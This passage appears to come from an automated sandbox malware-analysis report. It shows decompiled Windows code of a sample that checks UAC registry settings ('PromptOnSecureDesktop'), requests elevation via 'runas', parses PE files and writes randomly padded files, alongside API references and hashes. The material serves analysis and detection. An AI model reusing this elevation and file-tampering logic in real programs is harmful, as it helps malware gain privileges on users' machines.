				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

runas, xrefs: 00409674
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,73B743E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,73B743E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,73B743E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,73B743E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3F0, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B46C
__heap_init.LIBCMTD ref: 0041B476

Part of subcall function 00428E60: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B47B,00000001), ref: 00428E76

_fast_error_exit.LIBCMTD ref: 0041B484

Part of subcall function 0041B5D0: ___crtExitProcess.LIBCMTD ref: 0041B5F4

__mtinit.LIBCMTD ref: 0041B48C
_fast_error_exit.LIBCMTD ref: 0041B497
__RTC_Initialize.LIBCMTD ref: 0041B4A9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B4D2
___wsetargv.LIBCMTD ref: 0041B4DC
__wsetenvp.LIBCMTD ref: 0041B4EF
__cinit.LIBCMTD ref: 0041B504
__wwincmdln.LIBCMTD ref: 0041B521

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 75c843115fdc2bad164f68f8727dfc7424e5479dba655fdbd7a5822879ac7298
Instruction ID: 3a1a2ab1c77c52b34adf21025f624725d39af48b9657302ab1139266cb6d2204
Opcode Fuzzy Hash: 75c843115fdc2bad164f68f8727dfc7424e5479dba655fdbd7a5822879ac7298
Instruction Fuzzy Hash: 8041B6B1E00318ABE710AFE2EC027DE76B5EF1431CF50412EE50597282EB799540CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B465, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B46C
__heap_init.LIBCMTD ref: 0041B476

Part of subcall function 00428E60: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B47B,00000001), ref: 00428E76

_fast_error_exit.LIBCMTD ref: 0041B484

Part of subcall function 0041B5D0: ___crtExitProcess.LIBCMTD ref: 0041B5F4

__mtinit.LIBCMTD ref: 0041B48C
_fast_error_exit.LIBCMTD ref: 0041B497
__RTC_Initialize.LIBCMTD ref: 0041B4A9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B4D2
___wsetargv.LIBCMTD ref: 0041B4DC
__wsetenvp.LIBCMTD ref: 0041B4EF
__cinit.LIBCMTD ref: 0041B504
__wwincmdln.LIBCMTD ref: 0041B521

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 295590396e2624f69cc60f37849471108420f34b60c4af5b8c4cbe98a5734579
Instruction ID: f69aef5ed65f8874bf72695892d24135fdcc52405b94988813c4d5b388fc221b
Opcode Fuzzy Hash: 295590396e2624f69cc60f37849471108420f34b60c4af5b8c4cbe98a5734579
Instruction Fuzzy Hash: 3331A7B1E01714AAEB10BBF2B8027EE7661EF5031CF50412FE9055B283FB799540CA9A

Uniqueness

Uniqueness Score: -1.00%

Function 0063003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0063024D

Strings

kernel32.dll, xrefs: 0063008F, 00630095
cess, xrefs: 0063018D

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 5c982d2fc7a862bd016d439dcd99abc83acfc6e86922271d520a5749ab34b992
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 73527874A00229DFDB64CF58C995BA8BBB1BF09314F1480D9E90DAB351DB30AE89DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

